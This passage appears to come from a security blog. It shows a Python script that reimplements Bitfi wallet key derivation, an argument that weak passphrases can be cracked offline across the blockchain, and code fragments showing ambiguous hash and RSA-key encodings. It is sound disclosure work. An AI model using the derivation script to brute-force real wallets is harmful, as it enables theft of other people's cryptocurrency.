    <span class="pgcssn">pub_u</span> <span class="pgcsso">=</span> <span class="pgcssn">encode_pubkey</span><span class="pgcssp">(</span><span class="pgcssn">decode_pubkey</span><span class="pgcssp">(</span><span class="pgcssn">pub_c</span><span class="pgcssp">),</span> <span class="pgcsss1">&#39;hex&#39;</span><span class="pgcssp">)</span>

    <span class="pgcssn">addr_u</span> <span class="pgcsso">=</span> <span class="pgcssn">pubkey_to_address</span><span class="pgcssp">(</span><span class="pgcssn">pub_u</span><span class="pgcssp">)</span>

    <span class="pgcssnb">print</span> <span class="pgcsss2">&quot;Y</span><span class="pgcssse">\n</span><span class="pgcsssi">%s</span><span class="pgcssse">\n</span><span class="pgcsssi">%s</span><span class="pgcssse">\n</span><span class="pgcsssi">%s</span><span class="pgcssse">\n</span><span class="pgcsssi">%s</span><span class="pgcssse">\n\n</span><span class="pgcsss2">&quot;</span> <span class="pgcsso">%</span> <span class="pgcssp">(</span><span class="pgcssn">coin</span><span class="pgcssp">,</span> <span class="pgcssn">addr_u</span><span class="pgcssp">,</span> <span class="pgcssn">salt</span><span class="pgcssp">,</span> <span class="pgcssn">password</span><span class="pgcssp">)</span>

<span class="pgcssk">def</span> <span class="pgcssnf">derivekey</span><span class="pgcssp">(</span><span class="pgcssn">password</span><span class="pgcssp">,</span> <span class="pgcssn">salt</span><span class="pgcssp">,</span> <span class="pgcssn">coin</span><span class="pgcssp">,</span> <span class="pgcssn">n</span><span class="pgcssp">):</span>

    <span class="pgcssn">k_par</span> <span class="pgcsso">=</span> <span class="pgcssn">scrypt</span><span class="pgcsso">.</span><span class="pgcssn">hash</span><span class="pgcssp">(</span><span class="pgcssn">password</span><span class="pgcssp">,</span> <span class="pgcssn">salt</span><span class="pgcssp">,</span> <span class="pgcssn">N</span><span class="pgcsso">=</span><span class="pgcssmi">32768</span><span class="pgcssp">,</span> <span class="pgcssn">p</span><span class="pgcsso">=</span><span class="pgcssmi">4</span><span class="pgcssp">,</span> <span class="pgcssn">r</span><span class="pgcsso">=</span><span class="pgcssmi">8</span><span class="pgcssp">,</span> <span class="pgcssn">buflen</span><span class="pgcsso">=</span><span class="pgcssmi">64</span><span class="pgcssp">)</span>

    <span class="pgcssn">c_par</span> <span class="pgcsso">=</span> <span class="pgcssn">hashlib</span><span class="pgcsso">.</span><span class="pgcssn">sha256</span><span class="pgcssp">(</span><span class="pgcssn">salt</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">digest</span><span class="pgcssp">()</span>

    <span class="pgcssn">param</span> <span class="pgcsso">=</span> <span class="pgcssn">hmac</span><span class="pgcsso">.</span><span class="pgcssn">new</span><span class="pgcssp">(</span><span class="pgcssn">c_par</span><span class="pgcssp">,</span> <span class="pgcssn">k_par</span><span class="pgcssp">,</span> <span class="pgcssn">hashlib</span><span class="pgcsso">.</span><span class="pgcssn">sha512</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">digest</span><span class="pgcssp">()</span>

    <span class="pgcssp">(</span><span class="pgcssn">msk</span><span class="pgcssp">,</span> <span class="pgcssn">mcc</span><span class="pgcssp">)</span> <span class="pgcsso">=</span> <span class="pgcssp">(</span><span class="pgcssn">param</span><span class="pgcssp">[</span><span class="pgcssmi">0</span><span class="pgcssp">:</span><span class="pgcssmi">32</span><span class="pgcssp">],</span> <span class="pgcssn">param</span><span class="pgcssp">[</span><span class="pgcssmi">32</span><span class="pgcssp">:</span><span class="pgcssmi">64</span><span class="pgcssp">])</span>

    <span class="pgcssn">master_key</span> <span class="pgcsso">=</span> <span class="pgcssn">bip32_serialize</span><span class="pgcssp">((</span><span class="pgcssn">PRIVATE</span><span class="pgcssp">,</span> <span class="pgcssmi">0</span><span class="pgcssp">,</span> <span class="pgcsssa">b</span><span class="pgcsss1">&#39;</span><span class="pgcssse">\x00</span><span class="pgcsss1">&#39;</span><span class="pgcsso">*</span><span class="pgcssmi">4</span><span class="pgcssp">,</span> <span class="pgcssmi">0</span><span class="pgcssp">,</span> <span class="pgcssn">mcc</span><span class="pgcssp">,</span> <span class="pgcssn">msk</span><span class="pgcsso">+</span><span class="pgcsssa">b</span><span class="pgcsss1">&#39;</span><span class="pgcssse">\x01</span><span class="pgcsss1">&#39;</span><span class="pgcssp">))</span>

    <span class="pgcssn">coin_key</span> <span class="pgcsso">=</span> <span class="pgcssn">bip32_ckd</span><span class="pgcssp">(</span><span class="pgcssn">master_key</span><span class="pgcssp">,</span> <span class="pgcssn">ci</span><span class="pgcssp">(</span><span class="pgcssn">coin</span><span class="pgcssp">)</span> <span class="pgcsso">|</span> <span class="pgcssmh">0x80000000</span><span class="pgcssp">)</span>

    <span class="pgcssn">sub_key</span> <span class="pgcsso">=</span> <span class="pgcssn">bip32_ckd</span><span class="pgcssp">(</span><span class="pgcssn">coin_key</span><span class="pgcssp">,</span> <span class="pgcssn">n</span><span class="pgcssp">)</span> <span class="pgcssc1"># ** test comment please ignore</span>

    <span class="pgcssk">return</span> <span class="pgcssn">bip32_extract_key</span><span class="pgcssp">(</span><span class="pgcssn">sub_key</span><span class="pgcssp">)</span>

<span class="pgcssk">if</span> <span class="pgcssvm">__name__</span> <span class="pgcsso">==</span> <span class="pgcsss2">&quot;__main__&quot;</span><span class="pgcssp">:</span>

    <span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">s</span><span class="pgcssp">,</span> <span class="pgcssn">c</span><span class="pgcssp">,</span> <span class="pgcssn">n</span><span class="pgcssp">)</span> <span class="pgcsso">=</span> <span class="pgcssp">(</span><span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">],</span> <span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">],</span> <span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">3</span><span class="pgcssp">],</span> <span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">4</span><span class="pgcssp">])</span>

    <span class="pgcssn">priv</span> <span class="pgcsso">=</span> <span class="pgcssn">derivekey</span><span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">s</span><span class="pgcssp">,</span> <span class="pgcssn">c</span><span class="pgcssp">,</span> <span class="pgcssn">n</span><span class="pgcssp">)</span>

    <span class="pgcssn">print_address</span><span class="pgcssp">(</span><span class="pgcssn">priv</span><span class="pgcssp">,</span> <span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">s</span><span class="pgcssp">,</span> <span class="pgcssn">c</span><span class="pgcssp">)</span>

Security-wise, this is about on par with using WarpWallet to generate a seed for a BIP32 wallet. Anyone can download the relevant blockchain and use something similar to brainflayer to search for weak passphrases across all addresses simultaneously. A patch adding support for Bitfi should be out in a few weeks after I recover from DEFCON (I’m helping run a legitimate hacking competition). I also note that Bitfi is using uncompressed keys, which result in unnecessarily large transactions and have therefore been deprecated for several years.

For savvy users who make no mistakes, this may[7] provide adequate security.[8] There are a few problems, though. First, despite Bitfi providing some reasonable advice on passphrase selection, somebody is bound to pick something obvious. Second, it is highly impractical to change one’s passphrase once in use since all addresses are derived from it. Third, this product design has a failure modes that most hardware wallets do not — cryptocurrency thieves can rob users who choose weak passphrases without needing to steal the hardware wallet first. Bitfi tries to sell this as a feature — “If the device is seized or stolen, taken apart and forensically analyzed the private keys cannot be retrieved”. This statement seems to follow from the claim that the device never writes any key material, even encrypted, to persistent storage. Perhaps true technically, however as I mentioned above, the consequence of this design is that cracking attempts do not require the device. The entire security is dependent on a single factor — “something you know” rather than the two factor security provided by typical hardware wallets — “something you know, plus something you have”.

I strongly advise against using one of these devices. While Bitfi is perhaps not an outright scam, the design is inferior to that of hardware wallets where the device really is needed (or the backup of the seed) along with the passphrase in order to spend the coins. The fact that they’re using a lot of the same techniques to sell devices that have been used to sell snake oil so many times in the past makes me very concerned. I’ve notified Bitfi of these issues, however they showed no interest in fixing them.

Shortly after the original publishing of this post, @sshell_ discovered that Bitfi’s CEO, Daniel Khesin, had been in a legal fight with DS Healthcare. From a closer examination of the documents, it looks like the court ruled in Khesin’s favor.[9]

Update 2018-07-30:

I wrote this post simply to explain the risks of the Bitfi’s product to people who might be harmed by it. Unfortunately, I now need to address accusations by some individuals affiliated with Bitfi that this article is retaliation for them turning me down for a job. To be clear, the tweet in which I said “contact me via email if you’re interested in hiring me to do a security evaluation” was not a request for employment, merely a tactic to shut down the conversation. I already have a full time job and various side projects that keep me too busy to take on paid consulting work.

While I’m at it — I have no financial interest in any cryptocurrency wallet. My blog is operated at a loss without ads, coinhive, or any other monetization scheme. This post and the work behind it was not sponsored or approved by my employer. It was written without compensation or expectation thereof. I respond to such offers by posting screenshots.

1	`<span class="pgcssc1"># SPDX-License-Identifier: CC0-1.0+ OR 0BSD OR MIT-0</span>`
2	`<span class="pgcsskn">import</span> <span class="pgcssnn">hashlib</span>`
3
4	`<span class="pgcssk">def</span> <span class="pgcssnf">hash_concatenated</span><span class="pgcssp">(</span><span class="pgcssn">words</span><span class="pgcssp">):</span>`
5	`<span class="pgcssn">sha</span> <span class="pgcsso">=</span> <span class="pgcssn">hashlib</span><span class="pgcsso">.</span><span class="pgcssn">sha256</span><span class="pgcssp">()</span>`
6	`<span class="pgcssk">for</span> <span class="pgcssn">word</span> <span class="pgcssow">in</span> <span class="pgcssn">words</span><span class="pgcssp">:</span>`
7	`<span class="pgcssn">sha</span><span class="pgcsso">.</span><span class="pgcssn">update</span><span class="pgcssp">(</span><span class="pgcssn">word</span><span class="pgcsso">.</span><span class="pgcssn">encode</span><span class="pgcssp">())</span>`
8
9	`<span class="pgcssk">return</span> <span class="pgcssn">sha</span><span class="pgcsso">.</span><span class="pgcssn">hexdigest</span><span class="pgcssp">()</span>`
10
11	`<span class="pgcssn">A</span> <span class="pgcsso">=</span> <span class="pgcssn">hash_concatenated</span><span class="pgcssp">([</span><span class="pgcsss1">'plugin'</span><span class="pgcssp">,</span> <span class="pgcsss1">'secure'</span><span class="pgcssp">])</span>`
12	`<span class="pgcssn">B</span> <span class="pgcsso">=</span> <span class="pgcssn">hash_concatenated</span><span class="pgcssp">([</span><span class="pgcsss1">'plug'</span><span class="pgcssp">,</span> <span class="pgcsss1">'insecure'</span><span class="pgcssp">])</span>`
13
14	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcssn">A</span> <span class="pgcsso">==</span> <span class="pgcssn">B</span><span class="pgcssp">)</span> <span class="pgcssc1"># True</span>`

	`Subject: CN = www.defense.gov`
	`Subject Public Key Info:`
	`Public Key Algorithm: rsaEncryption`
	`RSA Public-Key: (2048 bit)`
	`Modulus:`
	`00:c9:4b:58:d1:e7:1a:ce:4b:a7:b9:63:f7:15:52:`
	`ef:0f:e8:21:cb:96:35:93:e3:d7:9b:6e:6d:6f:91:`
	`93:0e:7e:f9:5b:1c:9b:2d:45:d7:eb:01:18:3b:26:`
	`c8:ee:8d:93:49:ba:1a:ec:92:c6:7c:ef:14:41:11:`
	`34:4a:36:e7:7e:94:6e:95:14:4e:87:63:cd:76:8e:`
	`c1:a9:8f:50:c2:9e:95:83:e9:97:a5:4b:d1:c5:d4:`
	`af:fe:af:34:8d:f4:2b:39:b5:41:8f:e7:dd:76:9a:`
	`4d:81:e2:c2:2f:a4:61:18:47:6b:eb:ab:78:b0:5b:`
	`8a:51:0d:69:c6:7b:eb:f6:48:90:05:7f:fe:5f:c8:`
	`92:a3:8c:f6:51:c1:45:ce:27:51:2f:c9:c8:e4:b3:`
	`2f:bc:49:95:dc:71:f1:62:c3:d9:8f:3f:b8:8f:57:`
	`9c:c6:58:2b:d3:cb:75:ab:83:ae:ef:fb:9d:49:d4:`
	`05:b3:1a:e0:62:c5:be:d4:3e:a9:d5:55:f6:eb:92:`
	`94:59:83:7d:45:ef:99:42:6d:0e:15:b7:90:7b:64:`
	`ca:90:ac:19:70:07:d6:7c:25:f9:6c:e8:a9:29:07:`
	`a3:12:dd:67:e1:b1:93:62:00:6b:cd:37:30:63:8a:`
	`99:17:48:dc:dd:8d:a7:c9:b3:eb:7c:b9:1f:43:f3:`
	`74:01`
	`Exponent: 65537 (0x10001)`

	`Subject: CN = www.defense.gov`
	`Subject Public Key Info:`
	`Public Key Algorithm: rsaEncryption`
	`RSA Public-Key: (1176 bit)`
	`Modulus:`
	`00:a4:61:18:47:6b:eb:ab:78:b0:5b:`
	`8a:51:0d:69:c6:7b:eb:f6:48:90:05:7f:fe:5f:c8:`
	`92:a3:8c:f6:51:c1:45:ce:27:51:2f:c9:c8:e4:b3:`
	`2f:bc:49:95:dc:71:f1:62:c3:d9:8f:3f:b8:8f:57:`
	`9c:c6:58:2b:d3:cb:75:ab:83:ae:ef:fb:9d:49:d4:`
	`05:b3:1a:e0:62:c5:be:d4:3e:a9:d5:55:f6:eb:92:`
	`94:59:83:7d:45:ef:99:42:6d:0e:15:b7:90:7b:64:`
	`ca:90:ac:19:70:07:d6:7c:25:f9:6c:e8:a9:29:07:`
	`a3:12:dd:67:e1:b1:93:62:00:6b:cd:37:30:63:8a:`
	`99:17:48:dc:dd:8d:a7:c9:b3:eb:7c:b9:1f:43:f3:`
	`74:01`
	`Exponent:`
	`01:00:01:c9:4b:58:d1:e7:1a:ce:4b:a7:b9:63:f7:`
	`15:52:ef:0f:e8:21:cb:96:35:93:e3:d7:9b:6e:6d:`
	`6f:91:93:0e:7e:f9:5b:1c:9b:2d:45:d7:eb:01:18:`
	`3b:26:c8:ee:8d:93:49:ba:1a:ec:92:c6:7c:ef:14:`
	`41:11:34:4a:36:e7:7e:94:6e:95:14:4e:87:63:cd:`
	`76:8e:c1:a9:8f:50:c2:9e:95:83:e9:97:a5:4b:d1:`
	`c5:d4:af:fe:af:34:8d:f4:2b:39:b5:41:8f:e7:dd:`
	`76:9a:4d:81:e2:c2:2f`

1	`<span class="pgcsskn">from</span> <span class="pgcssnn">hashlib</span> <span class="pgcsskn">import</span> <span class="pgcssn">sha256</span>`
2
3	`<span class="pgcssc1"># The constant used here came to me in a dream.</span>`
4	`<span class="pgcssn">state</span> <span class="pgcsso">=</span> <span class="pgcssnb">input</span> <span class="pgcssow">and</span> <span class="pgcssn">state</span> <span class="pgcsso">+</span> <span class="pgcssnb">input</span> <span class="pgcssow">or</span> <span class="pgcsss1">'e+4sk5jfPPON3muIQJPM-KBCJPyYHgkkgXgpprL2'</span>`
5	<span class="pgcssn">output</span> <span class="pgcsso">=</span> <span class="pgcsss1">'RPS'</span><span class="pgcssp">[</span><span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">sha256</span><span class="pgcssp">(</span><span class="pgcssn">state</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">hexdigest</span><span class="pgcssp">(),</span><span class="pgcssmi">16</span><span class="pgcssp">)</span><span class="pgcsso">%</span><span class="pgcssmi">3</span><span class="pgcssp">]</span>

	`string "ssh-rsa"`
	`mpint e`
	`mpint n`